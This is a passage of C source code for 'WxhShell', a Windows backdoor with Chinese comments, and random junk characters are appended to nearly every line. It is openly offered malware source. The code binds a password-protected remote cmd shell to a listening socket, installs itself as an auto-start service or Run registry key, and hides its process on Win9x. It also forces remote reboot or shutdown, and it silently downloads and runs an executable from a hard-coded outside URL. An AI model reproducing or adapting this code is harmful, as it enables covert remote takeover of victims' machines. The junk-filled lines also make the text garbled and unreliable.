  // 关机 | b'Ut)E  
  case 'd': { 6<lo0PQ"Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q-<]'E#\(  
    if(Boot(SHUTDOWN)) 9!( 8o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'PF>#X''  
    else { !xsfhLZK  
    closesocket(wsh); @:>"VP<(  
    ExitThread(0); V^_A{\GK  
    }  +mocSx[  
    break; zgb$@JC  
    } 6K.2VY#  
  // 获取shell 7+HK_wNi  
  case 's': { SQN?[v  
    CmdShell(wsh); ~o'1PAW7  
    closesocket(wsh); :v^/k]S  
    ExitThread(0); f.6>6%l  
    break; !ho^:}m  
  } (?4%Xtul1  
  // 退出 z CLaHx!  
  case 'x': { h:4(Gm;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .QvD603%5  
    CloseIt(wsh); @A,8 >0+  
    break; C~En0G1  
    } d( v"{N}  
  // 离开 a/J<(sak~X  
  case 'q': { 2`=jKt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e9LX0=  
    closesocket(wsh); 7b"fpB  
    WSACleanup(); Hv;xaT<}V  
    exit(1); {nmG/dn {  
    break; [> HKRVy  
        } `O\>vn  
  } %-n) L  
  } /v!yI$xc  
Sz0PZtJ  
  // 提示信息 ]Uv,}W  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  S!?T0c?>  
} 7By7F:[b  
  } u]*7",R uU  
OUulG16kK  
  return; ASXGM0t  
} \+o\wTW  
A?YYR%o%'  
// shell模块句柄 m212 gc0u  
int CmdShell(SOCKET sock) iK}p#"si  
{ \[G'cE  
STARTUPINFO si; 2!%)_<  
ZeroMemory(&si,sizeof(si)); T~UDD3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )LP'4*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ct=bZW"j/  
PROCESS_INFORMATION ProcessInfo; 'w:ugb9]  
char cmdline[]="cmd"; 7 A0?tG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  +/B  
  return 0; .tRm1&Qi  
} e r3M vw  
 u$?!  
// 自身启动模式 fN2Sio:  
int StartFromService(void) HI5NWdfRl  
{ hDXTC_^s  
typedef struct I9kz)Q o  
{ }IygU 6{G  
  DWORD ExitStatus; l!p`g>$&f  
  DWORD PebBaseAddress; hb3n- rO  
  DWORD AffinityMask; zjoo;(?D|  
  DWORD BasePriority; eU"yF >6'  
  ULONG UniqueProcessId; u7e$Mq  
  ULONG InheritedFromUniqueProcessId; gJ l^K  
}   PROCESS_BASIC_INFORMATION; "%T~d[M  
19fa7E<  
PROCNTQSIP NtQueryInformationProcess; {\>4)TA  
k8 #8)d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q^[t</_ N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uyX % &r  
0H_Ai=G  
  HANDLE             hProcess; }8#olZ/(q  
  PROCESS_BASIC_INFORMATION pbi; |lhnCShw  
HxbzFu?h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c|<F8 n  
  if(NULL == hInst ) return 0; f`4=Bl&"{  
8L[+$g`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4Uny.C]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L;:|bVH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | V(sCF  
Lv+{@)  
  if (!NtQueryInformationProcess) return 0; A^aY-V  
72$S'O%,0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +c8`N'~  
  if(!hProcess) return 0; kw59`z Es  
 ]j0+4w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |6So$;`  
LB@<Q.b,U  
  CloseHandle(hProcess); o?ug`m"  
]fb@>1 jp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EUSM4djL  
if(hProcess==NULL) return 0; U_VP\ 03  
}wo:1v8J  
HMODULE hMod; QYH#WrIVx  
char procName[255]; { {?-& yA  
unsigned long cbNeeded; D@p{EH  
k*_Gg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +aOevkY]  
nHRsr x  
  CloseHandle(hProcess); (pH)QG  
[ as,AX  
if(strstr(procName,"services")) return 1; // 以服务启动 38sLyoG=i  
FW[|Zq;}  
  return 0; // 注册表启动 q=^;lWs4  
} oY~q^Y  
hV $Zr4'  
// 主模块 ta95]|z"j  
int StartWxhshell(LPSTR lpCmdLine) {zZ)JWM<w  
{ &wDZ@{h  
  SOCKET wsl; T=/c0#Q|q  
BOOL val=TRUE; -f?  
  int port=0; p7AsNqEp  
  struct sockaddr_in door; .S:(O+#Gm  
T}J)n5U}\  
  if(wscfg.ws_autoins) Install(); :Y Ls]JI<  
EkV#i  
port=atoi(lpCmdLine); (J4( Ge  
NEIF1( :  
if(port<=0) port=wscfg.ws_port; C_3,|Zq?|  
ku/vV+&O  
  WSADATA data; PkFG0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0++RxYFCL  
F&`%L#s|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nKd'5f1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !]?kvf-3e  
  door.sin_family = AF_INET; G5|nt#>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !pj&h0CR  
  door.sin_port = htons(port); a`:F07r  
){mqo%{SO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Dy5&-yk  
closesocket(wsl); 6W:]'L4!  
return 1;  R`o Xkj  
} D?dS/agA  
mS}.?[d"  
  if(listen(wsl,2) == INVALID_SOCKET) { L{1[:a)']B  
closesocket(wsl); R'1j  
return 1; hVyeHbx  
} Rt,po  
  Wxhshell(wsl); ajG_t  
  WSACleanup(); v6wg,,T  
n4B uM R  
return 0; t%,:L.?J#  
<}.!G>X  
} ^N^s|c'  
%jx<<hW  
// 以NT服务方式启动 }s"].Xm^2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L)<~0GcP  
{ <3ep5`1   
DWORD   status = 0;  6shN%  
  DWORD   specificError = 0xfffffff; H}&JrT95  
sEKF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }4piZ ch  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1Ke9H!_P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sUQ Q/F6  
  serviceStatus.dwWin32ExitCode     = 0; 7/KK}\NE  
  serviceStatus.dwServiceSpecificExitCode = 0; JbitRV@a  
  serviceStatus.dwCheckPoint       = 0; /V2yLHm  
  serviceStatus.dwWaitHint       = 0; RZVZ#q(DU  
> Xij+tt{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z:<wB#G  
  if (hServiceStatusHandle==0) return; \R-'<kN.*  
'n"we# [  
status = GetLastError(); MLi aCG;  
  if (status!=NO_ERROR) hpbi!g  
{ Gf+X<a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {wk#n.c  
    serviceStatus.dwCheckPoint       = 0; 5-H"{29  
    serviceStatus.dwWaitHint       = 0; 1fM`n5?"  
    serviceStatus.dwWin32ExitCode     = status; WuI$   
    serviceStatus.dwServiceSpecificExitCode = specificError; +Y;hVc E9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *)?'!  
    return; WlW%z(RC  
  } 1`s^r+11:  
tnBCO%uG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6f t6;*,  
  serviceStatus.dwCheckPoint       = 0; E{^W-  
  serviceStatus.dwWaitHint       = 0; f)Y~F/[$P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vo.~1^  
} t.\Pn4  
o9C# 5%9  
// 处理NT服务事件,比如:启动、停止 bVa?yWb.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SjF(;0k C  
{ ^B}q@/KV  
switch(fdwControl) U 9Ea }aN  
{ pp{p4Z   
case SERVICE_CONTROL_STOP: M0?%r`  
  serviceStatus.dwWin32ExitCode = 0; ([^f1;ncm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k!bJ&} Q(b  
  serviceStatus.dwCheckPoint   = 0; z;/8R7L&  
  serviceStatus.dwWaitHint     = 0; 8^_e>q*W  
  { ~4twI*f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zMO#CZ t  
  } f+1'Ah0'E  
  return; 5}! 36SO\  
case SERVICE_CONTROL_PAUSE: 0ZLLbEfnPB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9x8Vsd  
  break; |QR9#Iv  
case SERVICE_CONTROL_CONTINUE: a({N}ZDo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $b7@S`5  
  break; M)Z!W3  
case SERVICE_CONTROL_INTERROGATE: jaavh6h)  
  break; O 9M?Wk :  
}; p=kt+H&;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B[#n,ay  
} KDV.ZSF7  
?| 6sTu!  
// 标准应用程序主函数 V eY&pPQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (#)XRm{t  
{ %""h:1/S  
4gVIuF*pS  
// 获取操作系统版本 h^1 !8oOYD  
OsIsNt=GetOsVer(); >p;&AaXkoG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c6h+8QS  
/ ;[x3}[  
  // 从命令行安装 SXvflr] =m  
  if(strpbrk(lpCmdLine,"iI")) Install(); _V0%JE'  
.Y8P6_  
  // 下载执行文件 ?Pf#~U_  
if(wscfg.ws_downexe) { nG{o$v_|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D/;[x{;E  
  WinExec(wscfg.ws_filenam,SW_HIDE); T (]*jaB  
} 8|L@-F  
>ZeARCf"f  
if(!OsIsNt) { Q 8;JvCz   
// 如果时win9x,隐藏进程并且设置为注册表启动 * {~`Lw)y  
HideProc(); {{>,c}O /  
StartWxhshell(lpCmdLine); z}Us+>z+jc  
} $;~YgOVZ5  
else %W=BdGr[8z  
  if(StartFromService()) ]l+<-  
  // 以服务方式启动 0w< ilJ  
  StartServiceCtrlDispatcher(DispatchTable); 6X?:mn'%QF  
else iWFtb)3B  
  // 普通方式启动 @#-\ BQ;  
  StartWxhshell(lpCmdLine); _iEnS4$A8  
""|;5kJS4  
return 0; P>_9>k@;Q  
} 261? 8&c  
9k6/D.Dz  
?E}gm>  
V}7)>i$A  
=========================================== aSxDfYN=R  
:PY6J}:&#  
/lPnf7  
ka ;=%*7T  
+{m+aHk  
u2`j\ Vu  
" qN9 ?$\  
HY?#r]Ryt  
#include <stdio.h> ~-uf%=  
#include <string.h> yHlQKI  
#include <windows.h> F?6Q(mRl  
#include <winsock2.h> I&gd"F _v}  
#include <winsvc.h> \.p; 4V&  
#include <urlmon.h> .3VL  
1[#sHj$Na`  
#pragma comment (lib, "Ws2_32.lib") $ <C",&  
#pragma comment (lib, "urlmon.lib") UL#:!J/34  
*A8Et5HAv  
#define MAX_USER   100 // 最大客户端连接数 <sM_zoprc  
#define BUF_SOCK   200 // sock buffer 55UPd#E'  
#define KEY_BUFF   255 // 输入 buffer 84reyA  
GM1.pVb  
#define REBOOT     0   // 重启 f&$;iE  
#define SHUTDOWN   1   // 关机 Kng=v~)N'  
)'e1@CR  
#define DEF_PORT   5000 // 监听端口 A:2CP&*  
G(Hr*T%  
#define REG_LEN     16   // 注册表键长度 MU2kA&LH  
#define SVC_LEN     80   // NT服务名长度 xfC$u`e=  
?m7i7Dz   
// 从dll定义API S1@r.z2L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U:eX^LE7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &y|PseH"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v@8SMOe %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *zDDi(@vtK  
gzH;`,  
// wxhshell配置信息 tq@)J_7|  
struct WSCFG { Tz.okCo]z  
  int ws_port;         // 监听端口 V m8dX?  
  char ws_passstr[REG_LEN]; // 口令 D+! S\~u  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?p 4iXHE  
  char ws_regname[REG_LEN]; // 注册表键名 '+j;g  
  char ws_svcname[REG_LEN]; // 服务名 Nge@8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4}cxSl]jf!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =_g#I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PNo:vRtsq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `' EG7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vkd_&z7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5 $$Cav  
%21|-B  
}; vdB2T2F  
m-;8O /  
// default Wxhshell configuration Fv$w:r]q6  
struct WSCFG wscfg={DEF_PORT, F1B/cd  
    "xuhuanlingzhe", j%Z5[{!/,X  
    1, q _K@KB  
    "Wxhshell", matm>3n  
    "Wxhshell", F$1{w"&  
            "WxhShell Service", 5M #',(X  
    "Wrsky Windows CmdShell Service", tX1`/}``  
    "Please Input Your Password: ", O7LJ-M  
  1, 77aUuP7Iw  
  "http://www.wrsky.com/wxhshell.exe", $3&XM  
  "Wxhshell.exe" i[FYR;C  
    }; ;V?(j 3b[  
9,\AAISi  
// 消息定义模块 'Z9UqEGV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $^czqA-&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0c!^=(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <&O*' <6C  
char *msg_ws_ext="\n\rExit."; 0raFb,6l  
char *msg_ws_end="\n\rQuit."; DcM/p8da  
char *msg_ws_boot="\n\rReboot..."; \dE{[^.5  
char *msg_ws_poff="\n\rShutdown..."; hgE :2@  
char *msg_ws_down="\n\rSave to "; xw_$1 S  
F6Q%<p a  
char *msg_ws_err="\n\rErr!"; c'Ibgfx%m  
char *msg_ws_ok="\n\rOK!"; H_x} -  
K]M@t=  
char ExeFile[MAX_PATH]; t:P]bp^#  
int nUser = 0; 5A|d hw   
HANDLE handles[MAX_USER]; }0@@_Y]CC  
int OsIsNt; %_B2/~  
gae=+@z  
SERVICE_STATUS       serviceStatus; *kTp(*K/7`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S>*i\OnI'  
Ik5V?  
// 函数声明 V\r{6-%XiW  
int Install(void); `Je1$)%  
int Uninstall(void); S<'_{uz  
int DownloadFile(char *sURL, SOCKET wsh); ;XjXv'  
int Boot(int flag); <6,,:=#  
void HideProc(void); R~[~(`/S  
int GetOsVer(void); P(Zj}tGN  
int Wxhshell(SOCKET wsl); ?P>4H0@I+  
void TalkWithClient(void *cs); o~"Y_dLsW  
int CmdShell(SOCKET sock); H`URJ8k$Q  
int StartFromService(void); 5|Z8UzL  
int StartWxhshell(LPSTR lpCmdLine); VQG$$McJ  
B|$o.$5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ' ;nG4+K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _G.!^+)kEm  
D2gyn-]\  
// 数据结构和表定义 \awkt!Wa  
SERVICE_TABLE_ENTRY DispatchTable[] = `jTB9A"  
{ J:ka@2>|  
{wscfg.ws_svcname, NTServiceMain}, +s;Vfc$b]H  
{NULL, NULL} _j0xL{&&  
}; B3?rR-2mEE  
GJ2ZK=/  
// 自我安装 Q{'4,J-w  
int Install(void) Yl"CIgt  
{ %N(>B_t\  
  char svExeFile[MAX_PATH]; z\8s |!  
  HKEY key; XIZN9/;  
  strcpy(svExeFile,ExeFile); h7TkMt[l  
x^pt^KR;  
// 如果是win9x系统,修改注册表设为自启动 xaoR\H  
if(!OsIsNt) { d]^m^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WQiRbbX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XE2rx2k  
  RegCloseKey(key); -U A &Zt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7I&o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &ynAB)  
  RegCloseKey(key); V mQ'  
  return 0; t?PqfVSq  
    } 7ZyP  
  } U/cj_}uX  
} 4e AMb  
else { f>4|>kS  
h*!oHS~/l  
// 如果是NT以上系统,安装为系统服务 T{m) = (q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +r;t]  
if (schSCManager!=0) =2=rPZw9  
{ FPF$~ sX  
  SC_HANDLE schService = CreateService xDH#K0-#L  
  ( _`^AgRE  
  schSCManager, +Ss3Ph  
  wscfg.ws_svcname, &IzNoB  
  wscfg.ws_svcdisp, |mRlP5  
  SERVICE_ALL_ACCESS, hAc|a9 o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t0@AfO.'1  
  SERVICE_AUTO_START, p8)R#QWz9  
  SERVICE_ERROR_NORMAL, ^ +@OiL>&i  
  svExeFile, #ley3rJW]  
  NULL, l:JVt`A4?  
  NULL, `aG _m/7|  
  NULL, *) T"-}F  
  NULL, E"S# d&9  
  NULL vyJ8" #]qY  
  ); X;UEq]kcmn  
  if (schService!=0) W}3%BWn  
  { hxM{}}.E  
  CloseServiceHandle(schService); _Z9 d.-  
  CloseServiceHandle(schSCManager); :3 Hz!iZM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s2|.LmC3|B  
  strcat(svExeFile,wscfg.ws_svcname); |%ZJN{!R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6_u!{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y~{<Hs  
  RegCloseKey(key); z~~pH9=c2  
  return 0; "!AtS  
    } )`'a1y|  
  } G6W|l2P!  
  CloseServiceHandle(schSCManager); An0N'yo"Z  
} 6D2ot&5WW  
} !m9hL>5vR  
(GpP=lSSeY  
return 1; RN[x\",  
} )AR- b8..o  
W#NZnxOX"  
// 自我卸载 p_&B+ <z  
int Uninstall(void) "T^%HPif  
{ c*E7nc)u  
  HKEY key; ZX`x9/0&  
j$/#2%OVN  
if(!OsIsNt) { 4^:dmeMZ`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7 L ,`7k|  
  RegDeleteValue(key,wscfg.ws_regname); '<<@@.(f  
  RegCloseKey(key); B; NK\5>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fv %@k{  
  RegDeleteValue(key,wscfg.ws_regname); $ ~%Y}Xt*  
  RegCloseKey(key); U>.5vK.+  
  return 0; q. Jx|x  
  } [hg9 0Q6  
} cl]W]^q-Cx  
} aZ\Z7(  
else { 8N9,HNBT$  
 WTl0}wi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C(B"@   
if (schSCManager!=0) XP%_|Q2X  
{ o&@y^<UQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vf<Dqy<M.  
  if (schService!=0) ;y@zvec4  
  { Pp69|lxV=k  
  if(DeleteService(schService)!=0) { CVkJMH_  
  CloseServiceHandle(schService); y_q1Y70i2r  
  CloseServiceHandle(schSCManager); Ax~ i`  
  return 0; M.MQ?`_"b  
  } NopfL  
  CloseServiceHandle(schService); StTxga|  
  } >!" Sr3,L  
  CloseServiceHandle(schSCManager); c1+z(NQ3  
} is^R8a  
} fSVM[  
/c-k{5mH%  
return 1; _:tS-Mx@5  
} )T gfd5B  
%'e$N9zd  
// 从指定url下载文件 #Y-_kQV*  
int DownloadFile(char *sURL, SOCKET wsh) AT3HH QD  
{ OiZ-y7;k^  
  HRESULT hr; ip{ b*@K  
char seps[]= "/"; ]|w~{X!b4  
char *token; >Jn`RsuV  
char *file; 4[;}/-  
char myURL[MAX_PATH]; T>#~.4A0  
char myFILE[MAX_PATH]; +cmi?~KS*  
N!dBF t"  
strcpy(myURL,sURL); f]?&R c2C  
  token=strtok(myURL,seps); P2s\f;Dwr  
  while(token!=NULL) [`tNa Vg  
  { ;WYz U`<g  
    file=token; MzKl=G  
  token=strtok(NULL,seps); "o u{bKe  
  } &LB`  
'3Fb[md54  
GetCurrentDirectory(MAX_PATH,myFILE); ks%;_~b  
strcat(myFILE, "\\"); T5T[$%]6  
strcat(myFILE, file); k6z]"[yu  
  send(wsh,myFILE,strlen(myFILE),0); b{-|q6  
send(wsh,"...",3,0); \ /Q~C!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FS @55mQ  
  if(hr==S_OK) D[6sy`5l  
return 0; ZXiJ5BZ  
else e F}KOOfC  
return 1; ?/sn"~"  
awQGu,<N  
} 8$iHd  
u:W/6QS  
// 系统电源模块 &P35\q   
int Boot(int flag) Q/j#Pst  
{ $1zWQJd[-  
  HANDLE hToken; 3N2d@R  
  TOKEN_PRIVILEGES tkp; +s`cXTlFrk  
mO]dP;,  
  if(OsIsNt) { {o*$|4q4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <W7WlT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jx`7W1%T  
    tkp.PrivilegeCount = 1; YG0b*QBY~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x6Gl|e[jv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u%"5<ll  
if(flag==REBOOT) { w&VDe(:~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) " L,9.b  
  return 0; L@Qvj-5e  
} #a tL2(wJ  
else { b^}U^2S%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) TA:#K  
  return 0; @uQ *$  
} S-7C'dc  
  } zq?xY`E  
  else { Clap3E|a  
if(flag==REBOOT) { >$ro\/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UYW'pV  
  return 0; UL%a^' hR  
} #67 7,dn  
else { }&6:0l$4!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d1 kE)R  
  return 0; ,69547#o  
} "i*gJFW|  
} 08%Bx~88_%  
,]n~j-X  
return 1; N:+d=G`x  
} M&Ln'BC  
`}bvbvmA  
// win9x进程隐藏模块 I-Ut7W  
void HideProc(void) `(I$_RSE")  
{ ~0?B  
AUIp vd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !gfd!R  
  if ( hKernel != NULL ) vr2PCG[~  
  { B/!/2x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WA:r4V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SN\c 2^#  
    FreeLibrary(hKernel); M1*bT@ 6  
  } *8)va  
c1k[)O~  
return; ,6{z  
} ruGJZAhIA^  
e&z@yy$  
// 获取操作系统版本 )\Q(=:  
int GetOsVer(void) <(jk}wa<  
{ IQO|)53)  
  OSVERSIONINFO winfo; 1- s(v)cxh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RlL ]p`g  
  GetVersionEx(&winfo); JW[6 ^Rw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VEh9N  
  return 1; v'S]g^  
  else */M`KPW  
  return 0; J~5V7B  
} F `o9GLxM}  
r"2lcNE  
// 客户端句柄模块 ]_h 3  
int Wxhshell(SOCKET wsl) [o<hQ`&  
{ \+V"JIStUj  
  SOCKET wsh; ar<8wq<4G  
  struct sockaddr_in client; PN93.G(W  
  DWORD myID; ?{ExBZNa  
Bn]=T  
  while(nUser<MAX_USER) *Mhirz% iD  
{ + kMj|()>\  
  int nSize=sizeof(client); 4 -tC=>>wc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 32 i6j  
  if(wsh==INVALID_SOCKET) return 1; ^Ye(b7Gd  
T$lV+[7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vIJ5iLF  
if(handles[nUser]==0) P_5aHeiJ  
  closesocket(wsh); 06]3+s{{  
else <ZSXOh,'  
  nUser++; INr1bAe$  
  } qt@/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >}*W$i  
{C 5:as  
  return 0; u&I c  
} ;F258/J  
7=Muq]j2  
// 关闭 socket `6VnL)  
void CloseIt(SOCKET wsh) <5E'`T  
{ u"qu!EY2  
closesocket(wsh); `'s_5Ek  
nUser--; ="$w8iRU  
ExitThread(0); &tZIWV1&  
} (O J/u)W^  
|V\{U j  
// 客户端请求句柄 p"hO6b%V  
void TalkWithClient(void *cs) Em&3g  
{ @}4>:\es  
J-<P~9m~I  
  SOCKET wsh=(SOCKET)cs; vE )N6Ss  
  char pwd[SVC_LEN]; gg#9I(pX  
  char cmd[KEY_BUFF]; E'\gd7t ;  
char chr[1]; g*b`o87PI  
int i,j; @]n8*n  
V5lUh#@TN&  
  while (nUser < MAX_USER) { 6 EqN>.  
Q$U.vF7BnP  
if(wscfg.ws_passstr) {  t/t6o&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bWA_a]G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HjK8y@j  
  //ZeroMemory(pwd,KEY_BUFF); :0y-n.-{  
      i=0; f0 g/`j@Up  
  while(i<SVC_LEN) { (m2%7f.I  
y<6Sl6l*  
  // 设置超时 OT\D;Z"__I  
  fd_set FdRead; o`n8Fk}i  
  struct timeval TimeOut; l\ dPfJ  
  FD_ZERO(&FdRead); 9!=4}:+  
  FD_SET(wsh,&FdRead); }'Ap@4  
  TimeOut.tv_sec=8; liYsUmjZ=  
  TimeOut.tv_usec=0; =iW hK~S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PV,Z@qm@^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |I1,9ex  
?M'CTz}<\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <y?+xZM]#|  
  pwd=chr[0]; 0z \KI?kd  
  if(chr[0]==0xd || chr[0]==0xa) { w aniCE o  
  pwd=0; gWHY7rv  
  break; ]uFJ~ :R  
  } b&!}SZ  
  i++; x3Cn:F  
    } yI8 O#  
hvTc( 0;mB  
  // 如果是非法用户,关闭 socket !KXcg9e  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); agfDx ^,  
} H$ nzyooh  
8-+# !]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H%n/;DW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GjEV]hqR  
w@2NXcmw  
while(1) { xb[yy}>"L  
ww %c+O/  
  ZeroMemory(cmd,KEY_BUFF); 0UpRSh)#  
JGq9RB]D$  
      // 自动支持客户端 telnet标准   2 Ax(q&`9  
  j=0; RQ|K?^k v  
  while(j<KEY_BUFF) { T#rUbi>""  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J" ,Cwk\  
  cmd[j]=chr[0]; " AvEo  
  if(chr[0]==0xa || chr[0]==0xd) { ~Fvz&dO  
  cmd[j]=0; rk=w~IZJ3  
  break; fR;[??NH  
  } SKf;Fe  
  j++; zfUj%N  
    } Jyd[Sc)  
-GL.8" c[  
  // 下载文件 nUq@`G  
  if(strstr(cmd,"http://")) { vKoQ!7g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1| WDbk  
  if(DownloadFile(cmd,wsh)) }c9RDpjh~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7KC2%s#7  
  else *W |  
